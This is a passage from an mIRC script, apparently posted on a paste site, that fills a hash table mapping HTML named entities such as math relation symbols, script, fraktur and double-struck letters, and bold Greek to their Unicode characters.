  4780.   hadd %h /^andv$/1877 $chr($base(2A5A, 16, 10))
  4781.   hadd %h /^orv$/1878 $chr($base(2A5B, 16, 10))
  4782.   hadd %h /^andd$/1879 $chr($base(2A5C, 16, 10))
  4783.   hadd %h /^ord$/1880 $chr($base(2A5D, 16, 10))
  4784.   hadd %h /^wedbar$/1881 $chr($base(2A5F, 16, 10))
  4785.   hadd %h /^sdote$/1882 $chr($base(2A66, 16, 10))
  4786.   hadd %h /^simdot$/1883 $chr($base(2A6A, 16, 10))
  4787.   hadd %h /^congdot$/1884 $chr($base(2A6D, 16, 10))
  4788.   hadd %h /^ncongdot$/1885 $chr($base(2A6D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4789.   hadd %h /^easter$/1886 $chr($base(2A6E, 16, 10))
  4790.   hadd %h /^apacir$/1887 $chr($base(2A6F, 16, 10))
  4791.   hadd %h /^apE$/1888 $chr($base(2A70, 16, 10))
  4792.   hadd %h /^napE$/1889 $chr($base(2A70, 16, 10)) $+ $chr($base(0338, 16, 10))
  4793.   hadd %h /^eplus$/1890 $chr($base(2A71, 16, 10))
  4794.   hadd %h /^pluse$/1891 $chr($base(2A72, 16, 10))
  4795.   hadd %h /^Esim$/1892 $chr($base(2A73, 16, 10))
  4796.   hadd %h /^Colone$/1893 $chr($base(2A74, 16, 10))
  4797.   hadd %h /^Equal$/1894 $chr($base(2A75, 16, 10))
  4798.   hadd %h /^eDDot$/1895 $chr($base(2A77, 16, 10))
  4799.   hadd %h /^ddotseq$/1896 $chr($base(2A77, 16, 10))
  4800.   hadd %h /^equivDD$/1897 $chr($base(2A78, 16, 10))
  4801.   hadd %h /^ltcir$/1898 $chr($base(2A79, 16, 10))
  4802.   hadd %h /^gtcir$/1899 $chr($base(2A7A, 16, 10))
  4803.   hadd %h /^ltquest$/1900 $chr($base(2A7B, 16, 10))
  4804.   hadd %h /^gtquest$/1901 $chr($base(2A7C, 16, 10))
  4805.   hadd %h /^les$/1902 $chr($base(2A7D, 16, 10))
  4806.   hadd %h /^LessSlantEqual$/1903 $chr($base(2A7D, 16, 10))
  4807.   hadd %h /^leqslant$/1904 $chr($base(2A7D, 16, 10))
  4808.   hadd %h /^nles$/1905 $chr($base(2A7D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4809.   hadd %h /^NotLessSlantEqual$/1906 $chr($base(2A7D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4810.   hadd %h /^nleqslant$/1907 $chr($base(2A7D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4811.   hadd %h /^ges$/1908 $chr($base(2A7E, 16, 10))
  4812.   hadd %h /^GreaterSlantEqual$/1909 $chr($base(2A7E, 16, 10))
  4813.   hadd %h /^geqslant$/1910 $chr($base(2A7E, 16, 10))
  4814.   hadd %h /^nges$/1911 $chr($base(2A7E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4815.   hadd %h /^NotGreaterSlantEqual$/1912 $chr($base(2A7E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4816.   hadd %h /^ngeqslant$/1913 $chr($base(2A7E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4817.   hadd %h /^lesdot$/1914 $chr($base(2A7F, 16, 10))
  4818.   hadd %h /^gesdot$/1915 $chr($base(2A80, 16, 10))
  4819.   hadd %h /^lesdoto$/1916 $chr($base(2A81, 16, 10))
  4820.   hadd %h /^gesdoto$/1917 $chr($base(2A82, 16, 10))
  4821.   hadd %h /^lesdotor$/1918 $chr($base(2A83, 16, 10))
  4822.   hadd %h /^gesdotol$/1919 $chr($base(2A84, 16, 10))
  4823.   hadd %h /^lap$/1920 $chr($base(2A85, 16, 10))
  4824.   hadd %h /^lessapprox$/1921 $chr($base(2A85, 16, 10))
  4825.   hadd %h /^gap$/1922 $chr($base(2A86, 16, 10))
  4826.   hadd %h /^gtrapprox$/1923 $chr($base(2A86, 16, 10))
  4827.   hadd %h /^lne$/1924 $chr($base(2A87, 16, 10))
  4828.   hadd %h /^lneq$/1925 $chr($base(2A87, 16, 10))
  4829.   hadd %h /^gne$/1926 $chr($base(2A88, 16, 10))
  4830.   hadd %h /^gneq$/1927 $chr($base(2A88, 16, 10))
  4831.   hadd %h /^lnap$/1928 $chr($base(2A89, 16, 10))
  4832.   hadd %h /^lnapprox$/1929 $chr($base(2A89, 16, 10))
  4833.   hadd %h /^gnap$/1930 $chr($base(2A8A, 16, 10))
  4834.   hadd %h /^gnapprox$/1931 $chr($base(2A8A, 16, 10))
  4835.   hadd %h /^lEg$/1932 $chr($base(2A8B, 16, 10))
  4836.   hadd %h /^lesseqqgtr$/1933 $chr($base(2A8B, 16, 10))
  4837.   hadd %h /^gEl$/1934 $chr($base(2A8C, 16, 10))
  4838.   hadd %h /^gtreqqless$/1935 $chr($base(2A8C, 16, 10))
  4839.   hadd %h /^lsime$/1936 $chr($base(2A8D, 16, 10))
  4840.   hadd %h /^gsime$/1937 $chr($base(2A8E, 16, 10))
  4841.   hadd %h /^lsimg$/1938 $chr($base(2A8F, 16, 10))
  4842.   hadd %h /^gsiml$/1939 $chr($base(2A90, 16, 10))
  4843.   hadd %h /^lgE$/1940 $chr($base(2A91, 16, 10))
  4844.   hadd %h /^glE$/1941 $chr($base(2A92, 16, 10))
  4845.   hadd %h /^lesges$/1942 $chr($base(2A93, 16, 10))
  4846.   hadd %h /^gesles$/1943 $chr($base(2A94, 16, 10))
  4847.   hadd %h /^els$/1944 $chr($base(2A95, 16, 10))
  4848.   hadd %h /^eqslantless$/1945 $chr($base(2A95, 16, 10))
  4849.   hadd %h /^egs$/1946 $chr($base(2A96, 16, 10))
  4850.   hadd %h /^eqslantgtr$/1947 $chr($base(2A96, 16, 10))
  4851.   hadd %h /^elsdot$/1948 $chr($base(2A97, 16, 10))
  4852.   hadd %h /^egsdot$/1949 $chr($base(2A98, 16, 10))
  4853.   hadd %h /^el$/1950 $chr($base(2A99, 16, 10))
  4854.   hadd %h /^eg$/1951 $chr($base(2A9A, 16, 10))
  4855.   hadd %h /^siml$/1952 $chr($base(2A9D, 16, 10))
  4856.   hadd %h /^simg$/1953 $chr($base(2A9E, 16, 10))
  4857.   hadd %h /^simlE$/1954 $chr($base(2A9F, 16, 10))
  4858.   hadd %h /^simgE$/1955 $chr($base(2AA0, 16, 10))
  4859.   hadd %h /^LessLess$/1956 $chr($base(2AA1, 16, 10))
  4860.   hadd %h /^NotNestedLessLess$/1957 $chr($base(2AA1, 16, 10)) $+ $chr($base(0338, 16, 10))
  4861.   hadd %h /^GreaterGreater$/1958 $chr($base(2AA2, 16, 10))
  4862.   hadd %h /^NotNestedGreaterGreater$/1959 $chr($base(2AA2, 16, 10)) $+ $chr($base(0338, 16, 10))
  4863.   hadd %h /^glj$/1960 $chr($base(2AA4, 16, 10))
  4864.   hadd %h /^gla$/1961 $chr($base(2AA5, 16, 10))
  4865.   hadd %h /^ltcc$/1962 $chr($base(2AA6, 16, 10))
  4866.   hadd %h /^gtcc$/1963 $chr($base(2AA7, 16, 10))
  4867.   hadd %h /^lescc$/1964 $chr($base(2AA8, 16, 10))
  4868.   hadd %h /^gescc$/1965 $chr($base(2AA9, 16, 10))
  4869.   hadd %h /^smt$/1966 $chr($base(2AAA, 16, 10))
  4870.   hadd %h /^lat$/1967 $chr($base(2AAB, 16, 10))
  4871.   hadd %h /^smte$/1968 $chr($base(2AAC, 16, 10))
  4872.   hadd %h /^smtes$/1969 $chr($base(2AAC, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4873.   hadd %h /^late$/1970 $chr($base(2AAD, 16, 10))
  4874.   hadd %h /^lates$/1971 $chr($base(2AAD, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4875.   hadd %h /^bumpE$/1972 $chr($base(2AAE, 16, 10))
  4876.   hadd %h /^pre$/1973 $chr($base(2AAF, 16, 10))
  4877.   hadd %h /^preceq$/1974 $chr($base(2AAF, 16, 10))
  4878.   hadd %h /^PrecedesEqual$/1975 $chr($base(2AAF, 16, 10))
  4879.   hadd %h /^npre$/1976 $chr($base(2AAF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4880.   hadd %h /^npreceq$/1977 $chr($base(2AAF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4881.   hadd %h /^NotPrecedesEqual$/1978 $chr($base(2AAF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4882.   hadd %h /^sce$/1979 $chr($base(2AB0, 16, 10))
  4883.   hadd %h /^succeq$/1980 $chr($base(2AB0, 16, 10))
  4884.   hadd %h /^SucceedsEqual$/1981 $chr($base(2AB0, 16, 10))
  4885.   hadd %h /^nsce$/1982 $chr($base(2AB0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4886.   hadd %h /^nsucceq$/1983 $chr($base(2AB0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4887.   hadd %h /^NotSucceedsEqual$/1984 $chr($base(2AB0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4888.   hadd %h /^prE$/1985 $chr($base(2AB3, 16, 10))
  4889.   hadd %h /^scE$/1986 $chr($base(2AB4, 16, 10))
  4890.   hadd %h /^prnE$/1987 $chr($base(2AB5, 16, 10))
  4891.   hadd %h /^precneqq$/1988 $chr($base(2AB5, 16, 10))
  4892.   hadd %h /^scnE$/1989 $chr($base(2AB6, 16, 10))
  4893.   hadd %h /^succneqq$/1990 $chr($base(2AB6, 16, 10))
  4894.   hadd %h /^prap$/1991 $chr($base(2AB7, 16, 10))
  4895.   hadd %h /^precapprox$/1992 $chr($base(2AB7, 16, 10))
  4896.   hadd %h /^scap$/1993 $chr($base(2AB8, 16, 10))
  4897.   hadd %h /^succapprox$/1994 $chr($base(2AB8, 16, 10))
  4898.   hadd %h /^prnap$/1995 $chr($base(2AB9, 16, 10))
  4899.   hadd %h /^precnapprox$/1996 $chr($base(2AB9, 16, 10))
  4900.   hadd %h /^scnap$/1997 $chr($base(2ABA, 16, 10))
  4901.   hadd %h /^succnapprox$/1998 $chr($base(2ABA, 16, 10))
  4902.   hadd %h /^Pr$/1999 $chr($base(2ABB, 16, 10))
  4903.   hadd %h /^Sc$/2000 $chr($base(2ABC, 16, 10))
  4904.   hadd %h /^subdot$/2001 $chr($base(2ABD, 16, 10))
  4905.   hadd %h /^supdot$/2002 $chr($base(2ABE, 16, 10))
  4906.   hadd %h /^subplus$/2003 $chr($base(2ABF, 16, 10))
  4907.   hadd %h /^supplus$/2004 $chr($base(2AC0, 16, 10))
  4908.   hadd %h /^submult$/2005 $chr($base(2AC1, 16, 10))
  4909.   hadd %h /^supmult$/2006 $chr($base(2AC2, 16, 10))
  4910.   hadd %h /^subedot$/2007 $chr($base(2AC3, 16, 10))
  4911.   hadd %h /^supedot$/2008 $chr($base(2AC4, 16, 10))
  4912.   hadd %h /^subE$/2009 $chr($base(2AC5, 16, 10))
  4913.   hadd %h /^subseteqq$/2010 $chr($base(2AC5, 16, 10))
  4914.   hadd %h /^nsubE$/2011 $chr($base(2AC5, 16, 10)) $+ $chr($base(0338, 16, 10))
  4915.   hadd %h /^nsubseteqq$/2012 $chr($base(2AC5, 16, 10)) $+ $chr($base(0338, 16, 10))
  4916.   hadd %h /^supE$/2013 $chr($base(2AC6, 16, 10))
  4917.   hadd %h /^supseteqq$/2014 $chr($base(2AC6, 16, 10))
  4918.   hadd %h /^nsupE$/2015 $chr($base(2AC6, 16, 10)) $+ $chr($base(0338, 16, 10))
  4919.   hadd %h /^nsupseteqq$/2016 $chr($base(2AC6, 16, 10)) $+ $chr($base(0338, 16, 10))
  4920.   hadd %h /^subsim$/2017 $chr($base(2AC7, 16, 10))
  4921.   hadd %h /^supsim$/2018 $chr($base(2AC8, 16, 10))
  4922.   hadd %h /^subnE$/2019 $chr($base(2ACB, 16, 10))
  4923.   hadd %h /^subsetneqq$/2020 $chr($base(2ACB, 16, 10))
  4924.   hadd %h /^vsubnE$/2021 $chr($base(2ACB, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4925.   hadd %h /^varsubsetneqq$/2022 $chr($base(2ACB, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4926.   hadd %h /^supnE$/2023 $chr($base(2ACC, 16, 10))
  4927.   hadd %h /^supsetneqq$/2024 $chr($base(2ACC, 16, 10))
  4928.   hadd %h /^vsupnE$/2025 $chr($base(2ACC, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4929.   hadd %h /^varsupsetneqq$/2026 $chr($base(2ACC, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4930.   hadd %h /^csub$/2027 $chr($base(2ACF, 16, 10))
  4931.   hadd %h /^csup$/2028 $chr($base(2AD0, 16, 10))
  4932.   hadd %h /^csube$/2029 $chr($base(2AD1, 16, 10))
  4933.   hadd %h /^csupe$/2030 $chr($base(2AD2, 16, 10))
  4934.   hadd %h /^subsup$/2031 $chr($base(2AD3, 16, 10))
  4935.   hadd %h /^supsub$/2032 $chr($base(2AD4, 16, 10))
  4936.   hadd %h /^subsub$/2033 $chr($base(2AD5, 16, 10))
  4937.   hadd %h /^supsup$/2034 $chr($base(2AD6, 16, 10))
  4938.   hadd %h /^suphsub$/2035 $chr($base(2AD7, 16, 10))
  4939.   hadd %h /^supdsub$/2036 $chr($base(2AD8, 16, 10))
  4940.   hadd %h /^forkv$/2037 $chr($base(2AD9, 16, 10))
  4941.   hadd %h /^topfork$/2038 $chr($base(2ADA, 16, 10))
  4942.   hadd %h /^mlcp$/2039 $chr($base(2ADB, 16, 10))
  4943.   hadd %h /^Dashv$/2040 $chr($base(2AE4, 16, 10))
  4944.   hadd %h /^DoubleLeftTee$/2041 $chr($base(2AE4, 16, 10))
  4945.   hadd %h /^Vdashl$/2042 $chr($base(2AE6, 16, 10))
  4946.   hadd %h /^Barv$/2043 $chr($base(2AE7, 16, 10))
  4947.   hadd %h /^vBar$/2044 $chr($base(2AE8, 16, 10))
  4948.   hadd %h /^vBarv$/2045 $chr($base(2AE9, 16, 10))
  4949.   hadd %h /^Vbar$/2046 $chr($base(2AEB, 16, 10))
  4950.   hadd %h /^Not$/2047 $chr($base(2AEC, 16, 10))
  4951.   hadd %h /^bNot$/2048 $chr($base(2AED, 16, 10))
  4952.   hadd %h /^rnmid$/2049 $chr($base(2AEE, 16, 10))
  4953.   hadd %h /^cirmid$/2050 $chr($base(2AEF, 16, 10))
  4954.   hadd %h /^midcir$/2051 $chr($base(2AF0, 16, 10))
  4955.   hadd %h /^topcir$/2052 $chr($base(2AF1, 16, 10))
  4956.   hadd %h /^nhpar$/2053 $chr($base(2AF2, 16, 10))
  4957.   hadd %h /^parsim$/2054 $chr($base(2AF3, 16, 10))
  4958.   hadd %h /^parsl$/2055 $chr($base(2AFD, 16, 10))
  4959.   hadd %h /^nparsl$/2056 $chr($base(2AFD, 16, 10)) $+ $chr($base(20E5, 16, 10))
  4960.   hadd %h /^fflig$/2057 $chr($base(FB00, 16, 10))
  4961.   hadd %h /^filig$/2058 $chr($base(FB01, 16, 10))
  4962.   hadd %h /^fllig$/2059 $chr($base(FB02, 16, 10))
  4963.   hadd %h /^ffilig$/2060 $chr($base(FB03, 16, 10))
  4964.   hadd %h /^ffllig$/2061 $chr($base(FB04, 16, 10))
  4965.   hadd %h /^Ascr$/2062 $chr($base(1D49C, 16, 10))
  4966.   hadd %h /^Cscr$/2063 $chr($base(1D49E, 16, 10))
  4967.   hadd %h /^Dscr$/2064 $chr($base(1D49F, 16, 10))
  4968.   hadd %h /^Gscr$/2065 $chr($base(1D4A2, 16, 10))
  4969.   hadd %h /^Jscr$/2066 $chr($base(1D4A5, 16, 10))
  4970.   hadd %h /^Kscr$/2067 $chr($base(1D4A6, 16, 10))
  4971.   hadd %h /^Nscr$/2068 $chr($base(1D4A9, 16, 10))
  4972.   hadd %h /^Oscr$/2069 $chr($base(1D4AA, 16, 10))
  4973.   hadd %h /^Pscr$/2070 $chr($base(1D4AB, 16, 10))
  4974.   hadd %h /^Qscr$/2071 $chr($base(1D4AC, 16, 10))
  4975.   hadd %h /^Sscr$/2072 $chr($base(1D4AE, 16, 10))
  4976.   hadd %h /^Tscr$/2073 $chr($base(1D4AF, 16, 10))
  4977.   hadd %h /^Uscr$/2074 $chr($base(1D4B0, 16, 10))
  4978.   hadd %h /^Vscr$/2075 $chr($base(1D4B1, 16, 10))
  4979.   hadd %h /^Wscr$/2076 $chr($base(1D4B2, 16, 10))
  4980.   hadd %h /^Xscr$/2077 $chr($base(1D4B3, 16, 10))
  4981.   hadd %h /^Yscr$/2078 $chr($base(1D4B4, 16, 10))
  4982.   hadd %h /^Zscr$/2079 $chr($base(1D4B5, 16, 10))
  4983.   hadd %h /^ascr$/2080 $chr($base(1D4B6, 16, 10))
  4984.   hadd %h /^bscr$/2081 $chr($base(1D4B7, 16, 10))
  4985.   hadd %h /^cscr$/2082 $chr($base(1D4B8, 16, 10))
  4986.   hadd %h /^dscr$/2083 $chr($base(1D4B9, 16, 10))
  4987.   hadd %h /^fscr$/2084 $chr($base(1D4BB, 16, 10))
  4988.   hadd %h /^hscr$/2085 $chr($base(1D4BD, 16, 10))
  4989.   hadd %h /^iscr$/2086 $chr($base(1D4BE, 16, 10))
  4990.   hadd %h /^jscr$/2087 $chr($base(1D4BF, 16, 10))
  4991.   hadd %h /^kscr$/2088 $chr($base(1D4C0, 16, 10))
  4992.   hadd %h /^lscr$/2089 $chr($base(1D4C1, 16, 10))
  4993.   hadd %h /^mscr$/2090 $chr($base(1D4C2, 16, 10))
  4994.   hadd %h /^nscr$/2091 $chr($base(1D4C3, 16, 10))
  4995.   hadd %h /^pscr$/2092 $chr($base(1D4C5, 16, 10))
  4996.   hadd %h /^qscr$/2093 $chr($base(1D4C6, 16, 10))
  4997.   hadd %h /^rscr$/2094 $chr($base(1D4C7, 16, 10))
  4998.   hadd %h /^sscr$/2095 $chr($base(1D4C8, 16, 10))
  4999.   hadd %h /^tscr$/2096 $chr($base(1D4C9, 16, 10))
  5000.   hadd %h /^uscr$/2097 $chr($base(1D4CA, 16, 10))
  5001.   hadd %h /^vscr$/2098 $chr($base(1D4CB, 16, 10))
  5002.   hadd %h /^wscr$/2099 $chr($base(1D4CC, 16, 10))
  5003.   hadd %h /^xscr$/2100 $chr($base(1D4CD, 16, 10))
  5004.   hadd %h /^yscr$/2101 $chr($base(1D4CE, 16, 10))
  5005.   hadd %h /^zscr$/2102 $chr($base(1D4CF, 16, 10))
  5006.   hadd %h /^Afr$/2103 $chr($base(1D504, 16, 10))
  5007.   hadd %h /^Bfr$/2104 $chr($base(1D505, 16, 10))
  5008.   hadd %h /^Dfr$/2105 $chr($base(1D507, 16, 10))
  5009.   hadd %h /^Efr$/2106 $chr($base(1D508, 16, 10))
  5010.   hadd %h /^Ffr$/2107 $chr($base(1D509, 16, 10))
  5011.   hadd %h /^Gfr$/2108 $chr($base(1D50A, 16, 10))
  5012.   hadd %h /^Jfr$/2109 $chr($base(1D50D, 16, 10))
  5013.   hadd %h /^Kfr$/2110 $chr($base(1D50E, 16, 10))
  5014.   hadd %h /^Lfr$/2111 $chr($base(1D50F, 16, 10))
  5015.   hadd %h /^Mfr$/2112 $chr($base(1D510, 16, 10))
  5016.   hadd %h /^Nfr$/2113 $chr($base(1D511, 16, 10))
  5017.   hadd %h /^Ofr$/2114 $chr($base(1D512, 16, 10))
  5018.   hadd %h /^Pfr$/2115 $chr($base(1D513, 16, 10))
  5019.   hadd %h /^Qfr$/2116 $chr($base(1D514, 16, 10))
  5020.   hadd %h /^Sfr$/2117 $chr($base(1D516, 16, 10))
  5021.   hadd %h /^Tfr$/2118 $chr($base(1D517, 16, 10))
  5022.   hadd %h /^Ufr$/2119 $chr($base(1D518, 16, 10))
  5023.   hadd %h /^Vfr$/2120 $chr($base(1D519, 16, 10))
  5024.   hadd %h /^Wfr$/2121 $chr($base(1D51A, 16, 10))
  5025.   hadd %h /^Xfr$/2122 $chr($base(1D51B, 16, 10))
  5026.   hadd %h /^Yfr$/2123 $chr($base(1D51C, 16, 10))
  5027.   hadd %h /^afr$/2124 $chr($base(1D51E, 16, 10))
  5028.   hadd %h /^bfr$/2125 $chr($base(1D51F, 16, 10))
  5029.   hadd %h /^cfr$/2126 $chr($base(1D520, 16, 10))
  5030.   hadd %h /^dfr$/2127 $chr($base(1D521, 16, 10))
  5031.   hadd %h /^efr$/2128 $chr($base(1D522, 16, 10))
  5032.   hadd %h /^ffr$/2129 $chr($base(1D523, 16, 10))
  5033.   hadd %h /^gfr$/2130 $chr($base(1D524, 16, 10))
  5034.   hadd %h /^hfr$/2131 $chr($base(1D525, 16, 10))
  5035.   hadd %h /^ifr$/2132 $chr($base(1D526, 16, 10))
  5036.   hadd %h /^jfr$/2133 $chr($base(1D527, 16, 10))
  5037.   hadd %h /^kfr$/2134 $chr($base(1D528, 16, 10))
  5038.   hadd %h /^lfr$/2135 $chr($base(1D529, 16, 10))
  5039.   hadd %h /^mfr$/2136 $chr($base(1D52A, 16, 10))
  5040.   hadd %h /^nfr$/2137 $chr($base(1D52B, 16, 10))
  5041.   hadd %h /^ofr$/2138 $chr($base(1D52C, 16, 10))
  5042.   hadd %h /^pfr$/2139 $chr($base(1D52D, 16, 10))
  5043.   hadd %h /^qfr$/2140 $chr($base(1D52E, 16, 10))
  5044.   hadd %h /^rfr$/2141 $chr($base(1D52F, 16, 10))
  5045.   hadd %h /^sfr$/2142 $chr($base(1D530, 16, 10))
  5046.   hadd %h /^tfr$/2143 $chr($base(1D531, 16, 10))
  5047.   hadd %h /^ufr$/2144 $chr($base(1D532, 16, 10))
  5048.   hadd %h /^vfr$/2145 $chr($base(1D533, 16, 10))
  5049.   hadd %h /^wfr$/2146 $chr($base(1D534, 16, 10))
  5050.   hadd %h /^xfr$/2147 $chr($base(1D535, 16, 10))
  5051.   hadd %h /^yfr$/2148 $chr($base(1D536, 16, 10))
  5052.   hadd %h /^zfr$/2149 $chr($base(1D537, 16, 10))
  5053.   hadd %h /^Aopf$/2150 $chr($base(1D538, 16, 10))
  5054.   hadd %h /^Bopf$/2151 $chr($base(1D539, 16, 10))
  5055.   hadd %h /^Dopf$/2152 $chr($base(1D53B, 16, 10))
  5056.   hadd %h /^Eopf$/2153 $chr($base(1D53C, 16, 10))
  5057.   hadd %h /^Fopf$/2154 $chr($base(1D53D, 16, 10))
  5058.   hadd %h /^Gopf$/2155 $chr($base(1D53E, 16, 10))
  5059.   hadd %h /^Iopf$/2156 $chr($base(1D540, 16, 10))
  5060.   hadd %h /^Jopf$/2157 $chr($base(1D541, 16, 10))
  5061.   hadd %h /^Kopf$/2158 $chr($base(1D542, 16, 10))
  5062.   hadd %h /^Lopf$/2159 $chr($base(1D543, 16, 10))
  5063.   hadd %h /^Mopf$/2160 $chr($base(1D544, 16, 10))
  5064.   hadd %h /^Oopf$/2161 $chr($base(1D546, 16, 10))
  5065.   hadd %h /^Sopf$/2162 $chr($base(1D54A, 16, 10))
  5066.   hadd %h /^Topf$/2163 $chr($base(1D54B, 16, 10))
  5067.   hadd %h /^Uopf$/2164 $chr($base(1D54C, 16, 10))
  5068.   hadd %h /^Vopf$/2165 $chr($base(1D54D, 16, 10))
  5069.   hadd %h /^Wopf$/2166 $chr($base(1D54E, 16, 10))
  5070.   hadd %h /^Xopf$/2167 $chr($base(1D54F, 16, 10))
  5071.   hadd %h /^Yopf$/2168 $chr($base(1D550, 16, 10))
  5072.   hadd %h /^aopf$/2169 $chr($base(1D552, 16, 10))
  5073.   hadd %h /^bopf$/2170 $chr($base(1D553, 16, 10))
  5074.   hadd %h /^copf$/2171 $chr($base(1D554, 16, 10))
  5075.   hadd %h /^dopf$/2172 $chr($base(1D555, 16, 10))
  5076.   hadd %h /^eopf$/2173 $chr($base(1D556, 16, 10))
  5077.   hadd %h /^fopf$/2174 $chr($base(1D557, 16, 10))
  5078.   hadd %h /^gopf$/2175 $chr($base(1D558, 16, 10))
  5079.   hadd %h /^hopf$/2176 $chr($base(1D559, 16, 10))
  5080.   hadd %h /^iopf$/2177 $chr($base(1D55A, 16, 10))
  5081.   hadd %h /^jopf$/2178 $chr($base(1D55B, 16, 10))
  5082.   hadd %h /^kopf$/2179 $chr($base(1D55C, 16, 10))
  5083.   hadd %h /^lopf$/2180 $chr($base(1D55D, 16, 10))
  5084.   hadd %h /^mopf$/2181 $chr($base(1D55E, 16, 10))
  5085.   hadd %h /^nopf$/2182 $chr($base(1D55F, 16, 10))
  5086.   hadd %h /^oopf$/2183 $chr($base(1D560, 16, 10))
  5087.   hadd %h /^popf$/2184 $chr($base(1D561, 16, 10))
  5088.   hadd %h /^qopf$/2185 $chr($base(1D562, 16, 10))
  5089.   hadd %h /^ropf$/2186 $chr($base(1D563, 16, 10))
  5090.   hadd %h /^sopf$/2187 $chr($base(1D564, 16, 10))
  5091.   hadd %h /^topf$/2188 $chr($base(1D565, 16, 10))
  5092.   hadd %h /^uopf$/2189 $chr($base(1D566, 16, 10))
  5093.   hadd %h /^vopf$/2190 $chr($base(1D567, 16, 10))
  5094.   hadd %h /^wopf$/2191 $chr($base(1D568, 16, 10))
  5095.   hadd %h /^xopf$/2192 $chr($base(1D569, 16, 10))
  5096.   hadd %h /^yopf$/2193 $chr($base(1D56A, 16, 10))
  5097.   hadd %h /^zopf$/2194 $chr($base(1D56B, 16, 10))
  5098.   hadd %h /^b\.Gamma$/2195 $chr($base(1D6AA, 16, 10))
  5099.   hadd %h /^b\.Delta$/2196 $chr($base(1D6AB, 16, 10))
  5100.   hadd %h /^b\.Theta$/2197 $chr($base(1D6AF, 16, 10))
  5101.   hadd %h /^b\.Lambda$/2198 $chr($base(1D6B2, 16, 10))
  5102.   hadd %h /^b\.Xi$/2199 $chr($base(1D6B5, 16, 10))
  5103.   hadd %h /^b\.Pi$/2200 $chr($base(1D6B7, 16, 10))
  5104.   hadd %h /^b\.Sigma$/2201 $chr($base(1D6BA, 16, 10))
  5105.   hadd %h /^b\.Upsi$/2202 $chr($base(1D6BC, 16, 10))
  5106.   hadd %h /^b\.Phi$/2203 $chr($base(1D6BD, 16, 10))
  5107.   hadd %h /^b\.Psi$/2204 $chr($base(1D6BF, 16, 10))
  5108.   hadd %h /^b\.Omega$/2205 $chr($base(1D6C0, 16, 10))
  5109.   hadd %h /^b\.alpha$/2206 $chr($base(1D6C2, 16, 10))
  5110.   hadd %h /^b\.beta$/2207 $chr($base(1D6C3, 16, 10))
  5111.   hadd %h /^b\.gamma$/2208 $chr($base(1D6C4, 16, 10))
  5112.   hadd %h /^b\.delta$/2209 $chr($base(1D6C5, 16, 10))
  5113.   hadd %h /^b\.epsi$/2210 $chr($base(1D6C6, 16, 10))
  5114.   hadd %h /^b\.zeta$/2211 $chr($base(1D6C7, 16, 10))
  5115.   hadd %h /^b\.eta$/2212 $chr($base(1D6C8, 16, 10))
  5116.   hadd %h /^b\.thetas$/2213 $chr($base(1D6C9, 16, 10))
  5117.   hadd %h /^b\.iota$/2214 $chr($base(1D6CA, 16, 10))
  5118.   hadd %h /^b\.kappa$/2215 $chr($base(1D6CB, 16, 10))
  5119.   hadd %h /^b\.lambda$/2216 $chr($base(1D6CC, 16, 10))
  5120.   hadd %h /^b\.mu$/2217 $chr($base(1D6CD, 16, 10))
  5121.   hadd %h /^b\.nu$/2218 $chr($base(1D6CE, 16, 10))
  5122.   hadd %h /^b\.xi$/2219 $chr($base(1D6CF, 16, 10))
  5123.   hadd %h /^b\.pi$/2220 $chr($base(1D6D1, 16, 10))
  5124.   hadd %h /^b\.rho$/2221 $chr($base(1D6D2, 16, 10))
  5125.   hadd %h /^b\.sigmav$/2222 $chr($base(1D6D3, 16, 10))
  5126.   hadd %h /^b\.sigma$/2223 $chr($base(1D6D4, 16, 10))
  5127.   hadd %h /^b\.tau$/2224 $chr($base(1D6D5, 16, 10))
  5128.   hadd %h /^b\.upsi$/2225 $chr($base(1D6D6, 16, 10))
  5129.   hadd %h /^b\.phi$/2226 $chr($base(1D6D7, 16, 10))
  5130.   hadd %h /^b\.chi$/2227 $chr($base(1D6D8, 16, 10))
  5131.   hadd %h /^b\.psi$/2228 $chr($base(1D6D9, 16, 10))
  5132.   hadd %h /^b\.omega$/2229 $chr($base(1D6DA, 16, 10))
  5133.   hadd %h /^b\.epsiv$/2230 $chr($base(1D6DC, 16, 10))
  5134.   hadd %h /^b\.thetav$/2231 $chr($base(1D6DD, 16, 10))
  5135.   hadd %h /^b\.kappav$/2232 $chr($base(1D6DE, 16, 10))
  5136.   hadd %h /^b\.phiv$/2233 $chr($base(1D6DF, 16, 10))
  5137.   hadd %h /^b\.rhov$/2234 $chr($base(1D6E0, 16, 10))
  5138.   hadd %h /^b\.piv$/2235 $chr($base(1D6E1, 16, 10))
  5139.   hadd %h /^b\.Gammad$/2236 $chr($base(1D7CA, 16, 10))
  5140.   hadd %h /^b\.gammad$/2237 $chr($base(1D7CB, 16, 10))
  5141.   return
  5142.   :error | wmm_werror $scriptline $error | reseterror
  5143. }
  5144.  
  5145. ; --- End of other aliases ---
  5146.  
  5147. ; ------------------------------------------------------------------------------ EOF ------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement